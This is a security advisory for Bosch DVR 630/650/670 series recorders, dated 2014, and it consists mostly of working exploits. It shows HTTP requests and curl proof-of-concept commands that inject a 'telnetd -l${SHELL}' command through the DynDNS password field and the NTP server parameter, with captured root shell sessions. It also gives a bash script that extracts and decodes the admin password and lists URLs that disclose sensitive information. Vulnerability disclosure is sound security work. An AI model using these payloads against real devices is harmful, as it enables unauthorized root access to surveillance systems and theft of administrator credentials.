Bosch Security Systems DVR 630/650/670 series systems suffer from remote command execution as root and administrative password disclosure vulnerabilities.
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[ Discovered by dun \ posdub[at]gmail.com ]
[ 2014-10-01 ]
###############################################################################
# [ Bosch Security Systems DVR 630/650/670 Series ] Multiple Vulnerabilities #
###############################################################################
#
# Device: "The Bosch Video Recorder 630/650 Series is an 8/16
# channel digital recorder that uses the latest H.264
# compression technology. With the supplied PC
# software and built-in web server, the 630/650 Series is
# a fully integrated, stand-alone video management
# solution that's ready to go, straight out of the box.
# Available with a variety of storage capacities, the
# 630/650 Series features a highly reliable embedded
# design that minimizes maintenance and reduces
# operational costs. The recorder is also available with a
# built-in DVD writer."
#
# Vendor: http://www.boschsecurity.com/
# Product: DVR 630/650 http://resource.boschsecurity.us/documents/Data_sheet_enUS_1977239307.pdf
# DVR 670 http://resource.boschsecurity.us/documents/DVR_670_Series_Data_sheet_enUS_7654294923.pdf
#
# Software Download:
# http://resource.boschsecurity.us/software/Software_DVR630_650_firmware_v212_all_1980902667.zip
# http://resource.boschsecurity.us/software/Software_DVR670_firmware_v212_enUS_8599929867.zip
#
# Timeline: 2014-10-01 Vulnerability discovered
# 2014-10-03 1 Contact with vendor - No response
# 2014-10-14 Published
#
#
###################################################################
# Gaining Root Shell Access [1]:
POST /Net_work.xml HTTP/1.1
Accept: */*
Accept-Language: pl
Referer: http://10.11.219.2/network.html
Content-Type: text/xml; charset=UTF-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: 10.11.219.2
Content-Length: 1274
DNT: 1
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: MosaLanguage=0; session=
<NETWORK_SETTING>
<DHCP>0</DHCP>
<DHCPIP>10.11.219.2</DHCPIP>
<DHCPMASK>255.255.255.0</DHCPMASK>
<DHCPGW>10.11.219.1</DHCPGW>
<DHCPDNS1>0.0.0.0</DHCPDNS1>
<DHCPDNS2>0.0.0.0</DHCPDNS2>
<IP>10.11.219.2</IP>
<MASK>255.255.255.0</MASK>
<GW>10.11.219.1</GW>
<DNS1>0.0.0.0</DNS1>
<DNS2>0.0.0.0</DNS2>
<HTTP_PORT>80</HTTP_PORT>
<BANDWIDTH>0</BANDWIDTH>
<DDNS_SERVER>1</DDNS_SERVER>
<DYNDNS_HOST>wxss</DYNDNS_HOST>
<DYNDNS_USER>ffl</DYNDNS_USER>
<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>
<TZO_HOST></TZO_HOST>
<TZO_MAIL></TZO_MAIL>
<TZO_KEY></TZO_KEY>
<SITE_HOST>sdads</SITE_HOST>
<SITE_PWD>dsadsd</SITE_PWD>
<SITE_RECORDID>sdasdas</SITE_RECORDID>
<SITE_FQDN>dasdas</SITE_FQDN>
<ALARM_ON>0</ALARM_ON>
<MOTION>0</MOTION>
<DISK_FAIL>0</DISK_FAIL>
<DISK_FULL>0</DISK_FULL>
<FAN_FAIL>0</FAN_FAIL>
<DISK_TEMP>0</DISK_TEMP>
<ADMIN_PW>0</ADMIN_PW>
<VIDEO_LOSS>0</VIDEO_LOSS>
<POWER>0</POWER>
<SENDER>0</SENDER>
<SMTP></SMTP>
<SMTP_PORT>25</SMTP_PORT>
<SSL>0</SSL>
<USERNAME></USERNAME>
<PWD></PWD>
<SENDER_MAIL></SENDER_MAIL>
<SUBJECT></SUBJECT>
<MAIL_1></MAIL_1>
<MAIL_2></MAIL_2>
<MAIL_3></MAIL_3>
<MAIL_TEST>0</MAIL_TEST>
</NETWORK_SETTING>
## PoC:
root@debian:~# curl -i -s -k -X 'POST' -H 'Referer: http://10.11.219.2/network.html' -H 'Content-Type: text/xml; charset=UTF-8' \
-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \
-b 'MosaLanguage=0; session=' --data-binary $'<NETWORK_SETTING>\x0d\x0a <DHCP>0</DHCP>\x0d\x0a <DHCPIP>10.11.219.2</DHCPIP>\x0d\x0a \
<DHCPMASK>255.255.255.0</DHCPMASK>\x0d\x0a <DHCPGW>10.11.219.1</DHCPGW>\x0d\x0a <DHCPDNS1>0.0.0.0</DHCPDNS1>\x0d\x0a \
<DHCPDNS2>0.0.0.0</DHCPDNS2>\x0d\x0a <IP>10.11.219.2</IP>\x0d\x0a <MASK>255.255.255.0</MASK>\x0d\x0a <GW>10.11.219.1</GW>\x0d\x0a \
<DNS1>0.0.0.0</DNS1>\x0d\x0a <DNS2>0.0.0.0</DNS2>\x0d\x0a <HTTP_PORT>80</HTTP_PORT>\x0d\x0a <BANDWIDTH>0</BANDWIDTH>\x0d\x0a \
<DDNS_SERVER>1</DDNS_SERVER>\x0d\x0a <DYNDNS_HOST>wxss</DYNDNS_HOST>\x0d\x0a <DYNDNS_USER>ffl</DYNDNS_USER>\x0d\x0a \
<DYNDNS_PWD>|telnetd -l${SHELL} -p30 #</DYNDNS_PWD>\x0d\x0a <TZO_HOST></TZO_HOST>\x0d\x0a <TZO_MAIL></TZO_MAIL>\x0d\x0a \
<TZO_KEY></TZO_KEY>\x0d\x0a <SITE_HOST>sdads</SITE_HOST>\x0d\x0a <SITE_PWD>dsadsd</SITE_PWD>\x0d\x0a \
<SITE_RECORDID>sdasdas</SITE_RECORDID>\x0d\x0a <SITE_FQDN>dasdas</SITE_FQDN>\x0d\x0a <ALARM_ON>0</ALARM_ON>\x0d\x0a \
<MOTION>0</MOTION>\x0d\x0a <DISK_FAIL>0</DISK_FAIL>\x0d\x0a <DISK_FULL>0</DISK_FULL>\x0d\x0a <FAN_FAIL>0</FAN_FAIL>\x0d\x0a \
<DISK_TEMP>0</DISK_TEMP>\x0d\x0a <ADMIN_PW>0</ADMIN_PW>\x0d\x0a <VIDEO_LOSS>0</VIDEO_LOSS>\x0d\x0a <POWER>0</POWER>\x0d\x0a \
<SENDER>0</SENDER>\x0d\x0a <SMTP></SMTP>\x0d\x0a <SMTP_PORT>25</SMTP_PORT>\x0d\x0a <SSL>0</SSL>\x0d\x0a <USERNAME></USERNAME>\x0d\x0a \
<PWD></PWD>\x0d\x0a <SENDER_MAIL></SENDER_MAIL>\x0d\x0a <SUBJECT></SUBJECT>\x0d\x0a <MAIL_1></MAIL_1>\x0d\x0a <MAIL_2></MAIL_2>\x0d\x0a \
<MAIL_3></MAIL_3>\x0d\x0a <MAIL_TEST>0</MAIL_TEST>\x0d\x0a</NETWORK_SETTING>\x0d\x0a' 'http://10.11.219.2/Net_work.xml'
root@debian:~# telnet 10.11.219.2 30
Trying 10.11.219.2...
Connected to 10.11.219.2.
Escape character is '^]'.
BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown
/ # ps |grep telnet
2827 root 228 S telnetd -l/bin/sh -p30
/ # netstat -ltn | grep 30
tcp 0 0 0.0.0.0:30 0.0.0.0:* LISTEN
/ # echo pwnd & exit
pwnd
Connection closed by foreign host.
root@debian:~#
###################################################################
# Gaining Root Shell Access (authorization is needed) [2]:
GET /ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id&rnd=4392 HTTP/1.1
Accept: */*
Accept-Language: pl
Referer: http://10.11.219.2/system.html
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: 10.11.219.2
DNT: 1
Proxy-Connection: Keep-Alive
Cookie: MosaLanguage=0; session=
## PoC:
root@debian:~# curl -i -s -k -X 'GET' \
-H 'Referer: http://10.11.219.2/system.html' \
-H 'User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' -H 'DNT: 1' \
-b 'MosaLanguage=0; session=' 'http://10.11.219.2/ntp.cgi?cmd=ntp_start&time_server=1&private_server=192.168.0.245|%20telnetd%20-l${SHELL}%20-p40;%20id'
root@debian:~# telnet 10.11.219.2 40
Trying 10.11.219.2...
Connected to 10.11.219.2.
Escape character is '^]'.
BusyBox v1.1.2 (2009.12.29-03:59+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux everfocus 2.6.24-rt1-hi3520v100 #9 Thu Sep 2 14:00:47 CST 2010 armv6l unknown
/ # ps |grep telnet
2827 root 228 S telnetd -l/bin/sh -p40
/ # netstat -ltn | grep 40
tcp 0 0 0.0.0.0:40 0.0.0.0:* LISTEN
/ # echo pwnd & exit
pwnd
Connection closed by foreign host.
root@debian:~#
###################################################################
# Admin Password Disclosure: http://10.11.219.2/User.cgi?cmd=get_user
## PoC Exploit:
#!/bin/bash
x=0;
for i in $(curl --silent http://10.11.219.2/User.cgi?cmd=get_user| sed 's/<[^>]\+>/ /g' | sed -r 's/(\s)+[0-9]//g');
do base64 -d<<<$i; if [ $(( $x % 2 )) -eq 0 ]; then echo -n ":"; else echo ; fi; ((x++)); done
###################################################################
# Sensitive Information Disclosure:
http://10.11.219.2/Config.cgi?cmd=system_info
http://10.11.219.2/System.xml
http://10.11.219.2/Net_work.xml
http://10.11.219.2/webcmd.html
/ # cat /4mosa600/data/Webcmd_help.txt
cmd value (sample)
====================+==========================
blockid | 0 ~ block max // show block info and flag and gop status.
--------------------+-------------------------
disk | // show disk temp.
--------------------+-------------------------
reboot | // restart DVR.
--------------------+-------------------------
remote-info | // socket status.
--------------------+-------------------------
log | 1: System // show system log.
| 2: Record
| 4: Login
| 8: Configure
| 16: Operation
| 31: All
| 63: Service
--------------------+-------------------------
ionly | 1~12 how many frames in a GOP will send to internet
| 0: all I/P-frame (default)
| 1: I only
| 2: IP
| 3: IPP
| 4: IPPP
| ....
| 12: IPPPPPPPPPPP
| others: show current value on DVR.
--------------------+-------------------------
chlink | 0~MKF_CHANNEL // show channel link.
--------------------+-------------------------
bitrate | // show bitrate information.
--------------------+-------------------------
dls | // show about time and DLS message.
--------------------+-------------------------
bmp | // dump bmp file to http://x.x.x.x/vga0.bmp
--------------------+-------------------------
msg | This is bitmap
| bit 0 show encode FPS and Bitrate.
| bit 1 show encode resolution.(dependent bit 1)
| bit 2 show remote client mesage.
| bit 3 show ptz command.
| bit 4 cpu and memory usage..
--------------------+-------------------------
remote-cgi | 0 disable all cgi command.
| 1 show all cgi command to console.
| 2 show cig command if not "login_id"
--------------------+-------------------------
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